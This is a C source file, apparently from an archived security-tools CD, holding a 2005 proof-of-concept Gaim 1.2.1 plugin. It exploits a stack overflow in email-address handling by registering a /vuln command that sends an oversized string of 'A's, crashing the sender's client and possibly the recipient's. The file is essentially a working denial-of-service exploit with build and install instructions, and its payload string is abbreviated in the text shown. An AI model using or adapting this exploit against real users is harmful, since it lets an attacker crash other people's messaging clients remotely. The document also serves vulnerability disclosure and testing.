home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / gaim / gaimpoc.c < prev   
C/C++ Source or Header  |  2005-05-24  |  3KB  |  111 lines

  1. // Written by Ron <iago@valhallalegends.com>
  2. // Friday, May 13, 2005
  3. //
  4. // This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability
  5. // when processing email addresses. What this basically does is segfault you when you
  6. // do a /vuln command in a conversation, and, if you're using a protocol that allows
  7. // a 10002-character message to go through, also segfaults the person you sent it to.
  8. // The reason is that gaim's stack is overwritten with a whole bunch of 'A's, and
  9. // the return address of the function ends up at 0x41414141. That's no good for
  10. // anybody.
  11. //
  12. // This code should be considered public domain, and is freely modifiable/distributable
  13. // by any and everyone.
  14. //
  15. // Note:
  16. // To compile, place this in the "plugins" directory of Gaim's source
  17. // (gaim-1.2.1/plugins) and type "make vuln-plugin.so". This will compile vuln-plugin.so.
  18. // Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin.
  19.  
  20.  
  21. #include <unistd.h>
  22. #include <ctype.h>
  23. #include <string.h>
  24. #include <locale.h>
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <string.h>
  28.  
  29. #include "internal.h"
  30. #include "gtkgaim.h"
  31.  
  32. #include "debug.h"
  33. #include "signals.h"
  34. #include "util.h"
  35. #include "version.h"
  36. #include "cmds.h"
  37. #include "conversation.h"
  38.  
  39. #include "gtkplugin.h"
  40. #include "gtkutils.h"
  41.  
  42. #define ME "1.2.1 Vuln Check"
  43. #define MAXLENGTH 1024
  44. #define XMMS_PLUGIN_VERSION "I am a test plugin to check for
  45.  URL encoding vulnerability."
  46.  
  47. static GaimCmdId cmd;
  48.  
  49.  
  50. char *code = "A@AAAA...(A*8192)...AAAAA";
  51.  
  52. gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, 
  53. gchar **error, void *data)
  54. {
  55. gaim_conv_im_send(GAIM_CONV_IM(conv), code);
  56.  
  57. return GAIM_CMD_STATUS_OK;
  58. }
  59.  
  60. static gboolean plugin_load(GaimPlugin *plugin)
  61. {
  62. cmd = gaim_cmd_register("vuln", "", GAIM_CMD_P_DEFAULT, 
  63. GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, "/vuln", NULL);
  64.  
  65. return TRUE;
  66. }
  67.  
  68. static gboolean plugin_unload(GaimPlugin *plugin)
  69. {
  70. gaim_cmd_unregister (cmd);
  71.  
  72. return TRUE;
  73. }
  74.  
  75. static GaimPluginInfo info =
  76. {
  77. GAIM_PLUGIN_MAGIC,
  78. GAIM_MAJOR_VERSION,
  79. GAIM_MINOR_VERSION,
  80. GAIM_PLUGIN_STANDARD, /**< type */
  81. NULL, /**< ui_requirement */
  82. 0, /**< flags */
  83. NULL, /**< dependencies */
  84. GAIM_PRIORITY_DEFAULT, /**< priority */
  85. NULL, /**< id */
  86. N_("1.2.1 Email Overflow Demo"), /**< name */
  87. VERSION, /**< version */
  88. /** summary */
  89. N_(""),
  90. /** description */
  91. N_(""),
  92. "Ron <iago@valhallalegends.com>", /**< author */
  93. "", /**< homepage */
  94.  
  95. plugin_load, /**< load */
  96. plugin_unload, /**< unload */
  97. NULL, /**< destroy */
  98.  
  99. NULL, /**< ui_info */
  100. NULL, /**< extra_info */
  101. NULL,
  102. NULL
  103. };
  104.  
  105.  
  106. static void init_plugin(GaimPlugin *plugin)
  107. {
  108. }
  109.  
  110. GAIM_INIT_PLUGIN(XMMSPlugin, init_plugin, info) 
  111.